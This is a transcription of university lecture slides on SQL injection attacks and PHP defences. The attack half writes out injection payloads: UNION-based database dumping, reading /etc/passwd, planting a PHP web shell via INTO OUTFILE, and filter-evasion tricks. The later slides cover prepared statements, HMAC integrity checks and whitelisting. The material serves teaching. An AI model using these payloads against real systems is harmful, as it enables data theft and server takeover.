Server-side web security (part 2 - attacks and defences)

Similar documents
A1 (Part 2): Injection SQL Injection

Lecture 7: Web hacking 3, SQL injection, Xpath injection, Server side template injection, File inclusion

Side-channel attacks (and blind SQL injections)

WEB SECURITY p.1

Jacksonville Linux User Group Presenter: Travis Phillips Date: 02/20/2013

CSC 405 Computer Security. Web Security

WEB SECURITY WORKSHOP TEXSAW Presented by Solomon Boyd and Jiayang Wang

SQL Injection Attack Lab

WEB SECURITY: SQL INJECTION

Wentworth Institute of Technology COMP570 Database Applications Fall 2014 Derbinsky. SQL Programming. Lecture 8. SQL Programming

I n p u t. This time. Security. Software. sanitization ); drop table slides. Continuing with. Getting insane with. New attacks and countermeasures:

SQL Injection SPRING 2018: GANG WANG

Blind Sql Injection with Regular Expressions Attack

IERG 4210 Tutorial 07. Securing web page (I): login page and admin user authentication Shizhan Zhu

Maximizing the speed of time based SQL injection data retrieval

MySQL: Querying and Using Form Data

CSE 127 Computer Security

Lecture 13: MySQL and PHP. Monday, March 26, 2018

Introduction to InfoSec SQLI & XSS (R10+11) Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)

CSCE 548 Building Secure Software SQL Injection Attack

eb Security Software Studio

Daniel Pittman October 17, 2011

This slide shows the OWASP Top 10 Web Application Security Risks of 2017, which is a list of the currently most dangerous web vulnerabilities in

Web Security. Attacks on Servers 11/6/2017 1

SQL Injection Attacks and Defense

Advanced Web Technology 10) XSS, CSRF and SQL Injection

SQL Injection. A tutorial based on XVWA

CSC 564: SQL Injection Attack Programming Project

Injection vulnerabilities: command injection and SQL injection

CS 161 Computer Security

Chapters 10 & 11 PHP AND MYSQL

C and C++ Secure Coding 4-day course. Syllabus

Crate Shell. Release

Web Security. Web Programming.

FROM SQL INJECTION TO SHELL. By Louis Nyffenegger

CS 161 Computer Security

Automated SQL Ownage Techniques. OWASP October 30 th, The OWASP Foundation

Lecture 1 Applied Cryptography (Part 1)

Web Security. Jace Baker, Nick Ramos, Hugo Espiritu, Andrew Le

IT Certification Exams Provider! Weofferfreeupdateserviceforoneyear! h ps://

SQL Injection Attacks

Using MySQL on the Winthrop Linux Systems

Assignment 6. This lab should be performed under the Oracle Linux VM provided in the course.

Backend IV: Authentication, Authorization and Sanitization. Tuesday, January 13, 15

Module 3 MySQL Database. Database Management System

Secure Programming Lecture 8++: SQL Injection

Security. CSC309 TA: Sukwon Oh

ATTACKING SYSTEM & WEB Desmond Alexander CISSP / GIAC/ GPEN CEO FORESEC

Understanding Advanced Blind SQLI attack

3. Apache Server Vulnerability Identification and Analysis

Application Layer Security

Web Security: Vulnerabilities & Attacks

Technology White Paper of SQL Injection Attacks and Prevention

Fast SQL blind injections in high latency networks

CSE 127: Computer Security SQL Injection. Vector Li

Contents. xvii xix xxiil. xxvii

Assessment 1 Task 3 Explain the following security risks SQL Injection Cross Site Scripting XSS Brute Force Attack/Dictionary Attack

Web Application Attacks

COMP284 Scripting Languages Lecture 13: PHP (Part 5) Handouts

CSE361 Web Security. Attacks against the server-side of web applications. Nick Nikiforakis

Injection. CSC 482/582: Computer Security Slide #1

An analysis of security in a web application development process

Webapps Vulnerability Report

DEFENSIVE PROGRAMMING. Lecture for EDA 263 Magnus Almgren Department of Computer Science and Engineering Chalmers University of Technology

Nemesis: Preventing Authentication & [and] Access Control Vulnerabilities in Web Applications

Karthik Bharathy Program Manager, SQL Server Microsoft

Who s Afraid of SQL Injection?! Mike Kölbl Sonja Klausburg Siegfried Goeschl

Computer Security Coursework Exercise CW1 Web Server and Application Security

CS Computer Networks 1: Authentication

T-sql Check If Index Exists Information_schema

Secure Coding, some simple steps help. OWASP EU Tour 2013

SQL Injection. EECS Introduction to Database Management Systems

Mastering phpmyadmiri 3.4 for

Previously everyone in the class used the mysql account: Username: csci340user Password: csci340pass

Using SQL Developer. Oracle University and Egabi Solutions use only

Building Secure PHP Apps

Injection attacks use specially crafted inputs to subvert the intended operation of applications.

Homework 2: Symmetric Crypto Due at 11:59PM on Monday Feb 23, 2015 as a PDF via websubmit.

Sql Server Check If Index Exists Information_schema >>>CLICK HERE<<<

18-642: Security Mitigation & Validation

Detecting Insider Attacks on Databases using Blockchains

Attacks Against Websites. Tom Chothia Computer Security, Lecture 11

Our sponsors Zequi V Autopsy of Vulnerabilities

CSE 565 Computer Security Fall 2018

CS 377 Database Systems. Li Xiong Department of Mathematics and Computer Science Emory University

Secure Web App. 제목 : Secure Web Application v1.0 ( 채수민책임 ) Copyright 2008 Samsung SDS Co., Ltd. All rights reserved - 1 -

Web security: an introduction to attack techniques and defense methods

PHP and MySQL Programming

A hash function is strongly collision-free if it is computationally infeasible to find different messages M and M such that H(M) = H(M ).

Options. Real SQL Programming 1. Stored Procedures. Embedded SQL

CSE 484 / CSE M 584: Computer Security and Privacy. Web Security. Autumn Tadayoshi (Yoshi) Kohno

Application security. Not so obvious vulnerabilities. Nicolas Grégoire / Agarri CERN

Web Application Security Evaluation

PHP: Hypertext Preprocessor. A tutorial Introduction

INF 102 CONCEPTS OF PROG. LANGS ADVERSITY. Instructors: James Jones Copyright Instructors.

Web Vulnerabilities. And The People Who Love Them

CNIT 129S: Securing Web Applications. Ch 10: Attacking Back-End Components

Nemesis: Preventing Web Authentication & Access Control Vulnerabilities. Michael Dalton, Christos Kozyrakis Stanford University

Mayl, 10th /2013

Modern frameworks, modern vulnerabilities. Florent Nicolas

Transcription:

Server-side web security (part 2 - attacks and defences) Security 1 2018-19 Università Ca Foscari Venezia www.dais.unive.it/~focardi secgroup.dais.unive.it

Basic injections $query = "SELECT name, lastname, url FROM people WHERE lastname = '". $_POST['lastname']. "'"; The obtained query is parsed and executed We have seen that it is easy to make the WHERE constraint always true and dump the whole table: ' OR 1 # 2

Demo Try the injection on our vulnerable website https://sqli.seclab.dsi.unive.it/search/ (use haxor/sqleet to login) The injection will dump the whole people table, leaking all usernames and urls 3

Leaking more data SQL allows for merging the result of two SELECTs through UNION (or UNION ALL to preserve duplicates) The number of columns must be the same! Example: SELECT name, lastname, url FROM employees UNION ALL SELECT firstname, surname, url FROM customers 4

Black box attack What if the attacker does not know the name of tables and columns? Step 1: brute force the number of columns... WHERE lastname = '' UNION ALL SELECT 1 #'... WHERE lastname = '' UNION ALL SELECT 1,1 #'... WHERE lastname = '' UNION ALL SELECT 1,1,1 #' until we get some output 5

Black box attack Step 2: try possible names for the table... WHERE lastname = '' UNION ALL SELECT 1,1,1 FROM users #'... WHERE lastname = '' UNION ALL SELECT 1,1,1 FROM customers #'... WHERE lastname = '' UNION ALL SELECT 1,1,1 FROM people #' until we get some output We can do the same for column names: ' UNION ALL SELECT password,1,1 FROM people # 6

Concatenating columns Columns can be concatenated into a single one to overcome the UNION constraint Example: ' UNION ALL SELECT CONCAT(name,' ',lastname), password, url FROM people # Raws can also be merged into a single one: ' UNION ALL SELECT GROUP_CONCAT(name, ' ', lastname, ' ', password SEPARATOR ' '), 1, 1 FROM people # 7

Dumping the database structure In several DBMS INFORMATION_SCHEMA stores all the information of all the databases List databases: SELECT schema_name FROM information_schema.schemata List tables: SELECT table_schema, table_name FROM information_schema.tables List the columns of all relevant databases: SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema!= 'mysql' AND table_schema NOT LIKE '%_schema' 8

Advanced techniques Reading files: if the db user has the FILE privilege and the accessed file is readable by the mysql user SELECT LOAD_FILE('/etc/passwd') Creating files: FILE privilege and the mysql user is allowed to write files in that directory SELECT '<?php passthru($_get["cmd"]);?>' INTO OUTFILE '/var/www/pwn.php' $ curl http://vulnerablesite.com/pwn.php?cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data) 9

On-line challenges Train your injection skills here: WeChall RedTiger s Hackit 10

Secure PHP coding General principles: Pay attention to how user input is processed, prevent that it affects control-flow in unexpected ways Avoid clearly insecure functions or coding Adopt security best practices whenever possible Avoid ad hoc solutions, use standard ones instead When no security solution is available, filter and sanitize input accurately, but remember that filter evasion might be possible. 11

Security best practices (PHP) 1. Use strict comparison (===) 2. Cast values or check types before applying a function 3. Use strict whitelisting, when possible, to make user input less liberal 4. Check the integrity of user input before it is passed to dangerous functions 5. Use secure functions / APIs when they are available 12

Example: Authentication (vulnerable) 13

Example: Authentication (fixed!) === 14

Casting Consider again the strcmp example that is bypassed by passing an array as input: We can try to fix the code by casting $input to string: strcmp((string)$input,$token)==0 Notice that (string)array() is "Array" (weird but OK!) 15

Putting things together Even if casting would guarantee that strcmp always return a string, it is a best practice to use === Thus a fully compliant code would be: strcmp((string)$input,$token) === 0 16

Security best practices (PHP) 1. Use strict comparison (===) 2. Cast values or check types before applying a function 3. Use strict whitelisting, when possible, to make user input less liberal 4. Check the integrity of user input before it is passed to dangerous functions 5. Use secure functions / APIs when they are available 17

Whitelisting user input We have seen that loading a page dynamically by passing its name as parameter is extremely dangerous: 18

Whitelisting user input We can fix the code by strict whitelisting: NOTE: in_array by default uses loose comparison! 19

Security best practices (PHP) 1. Use strict comparison (===) 2. Cast values or check types before applying a function 3. Use strict whitelisting, when possible, to make user input less liberal 4. Check the integrity of user input before it is passed to dangerous functions 5. Use secure functions / APIs when they are available 20

Deserialization example We have seen that $user_data = unserialize($_cookie['data']); might trigger arbitrary code execution Magic methods such as = wakeup()are automatically invoked in the deserialization process checking integrity after deserialization is too late Always check integrity before the object is unserialized 21

Message Authentication Code (MAC) Standard crypto mechanism for message authentication Hash-based MAC (HMAC) keyed hash: without the key it is infeasible to compute the correct hash Alice msg, HMAC K (msg) Bob (K) (K) Bob recomputes HMAC K (msg) and checks if it matches the received one 22

Using HMAC to check integrity The Web application generates an internal key K Values are exported with the associated HMAC: value, HMAC K (value) When the value is imported the HMAC is recomputed and checked for equality Since K is only known by the application, a valid HMAC prove that the value has not been modified 23

HMAC in PHP string hash_hmac( string $algo, string $data, string $key [, bool $raw_output = FALSE ] ) algo name of selected hashing algorithm data message to be hashed key symmetric key (variating the message digest) raw_output TRUE, outputs raw binary data FALSE outputs lowercase hexits 24

Demo Notice how a small variation of the message or the key generates completely unrelated HMACs behaves like a pseudo-random function php > var_dump(hash_hmac('sha256', 'hello', 'secret')); string(64) "88aab3ede8d3adf94d26ab90d3bafd4a2083070c3bcce9c014ee04a443847c0b" php > var_dump(hash_hmac('sha256', 'hello1', 'secret')); string(64) "25593b9b912571e4f7d8c7eaabbdd5024700a72d7d15ed04e6616f333e2b2b49" php > var_dump(hash_hmac('sha256', 'hello1', 'secret1')); string(64) "f7148ed6f808fe590954e684ca45fdd1fcb86195865985c711b7e76103e4c3b9" php > 25

Security best practices (PHP) 1. Use strict comparison (===) 2. Cast values or check types before applying a function 3. Use strict whitelisting, when possible, to make user input less liberal 4. Check the integrity of user input before it is passed to dangerous functions 5. Use secure functions / APIs when they are available 26

Prepared statements IDEA: parse a parametrized query, and pass the actual parameters to the query only before it is executed MOTIVATION: make remote queries more efficient Prepared statements prevent SQL injections: if the query has been parsed already there is no way for an attacker to inject data that might be interpreted as part of the query 27

Example mysql> PREPARE stmt1 FROM 'SELECT * FROM people WHERE lastname=?'; Statement prepared mysql> set @n = 'focardi'; Statement is parsed and prepared mysql> EXECUTE stmt1 USING @n; +----+----------+----------+----------+----------------------+------------+---- id name lastname username mail password url +----+----------+----------+----------+----------------------+------------+---- 2 Riccardo Focardi r1x focardi@dsi.unive.it ********** htt +----+----------+----------+----------+----------------------+------------+---- mysql> set @n = "'' OR 1 # "; mysql> EXECUTE stmt1 USING @n; Empty set (0.00 sec) Trying the injection Injection fails: SQL has been parsed already and data are only interpreted as data 28

PHP APIs (1) PHP offers APIs for prepared statements Example: $link=new mysqli("localhost", "sqli_example",...); if(!$link) die('could not connect: '. mysqli_error()); $stmt = $link->prepare("select name, lastname, url FROM people WHERE lastname =?"); $stmt->bind_param("s", $_POST['lastname']); $stmt->execute(); String 29

PHP APIs (2) PHP Data Object (PDO) is a uniform API for different databases. Example: try { $link = new PDO("mysql:dbname=sqli_example;...); } catch (PDOException $e) { exit; } $stmt = $link->prepare("select name, lastname, url FROM people WHERE lastname = :lastname"); $stmt->bindparam(':lastname', $_POST['lastname']); $stmt->execute(); Optional $data_type 30

Ah easy. Sometime it is not possible to parametrize the query Example: table name cannot be parameterized Second order injections: if a queries depends on a previous one: 1. The attacker stores the payload in the database 2. The result is injected into the vulnerable query that depends on the secure one Every database access needs to be parametrized! 31

Last resort: sanitization When parameterization is not possible we can: Typecast numeric parameters to integer prevents injecting arbitrary payloads Escaping string input parameters in a query mysqli_real_escape_string NOTE: escaping is not bullet proof. Previous mysql_real_escape_string, could circumvented by exploiting different charsets and is now deprecated. 32

Ad hoc filtering: a bad idea! Let s try a simple filter that removes all spaces trivial to bypass using tabs, new lines, carriage returns or even comment symbols like /**/ '/**/OR/**/1# Let s forbid single quoting ' Conversion depending on the context: SELECT 'A'=0x41 SELECT 0x41414141 SELECT 0x41414141+1 1 (TRUE) AAAA 1094795586...WHERE id=1/**/or/**/lastname=0x666f6361726469# 33

Ad hoc filtering: a bad idea! Filtering function names, e.g., concat Many ways to obfuscate the names SELECT /*!50000cOncaT*//**/('hi',' ','r1x') Returns 'hi r1x' SELECT /*!50000cOncaT*//**/(0x6869,0x20,0x723178); Also returns 'hi r1x' NOTE: /*!50000 executes the commented out text if the version of MySQL is greater than or equal the specified one (5.00.00 in this case) 34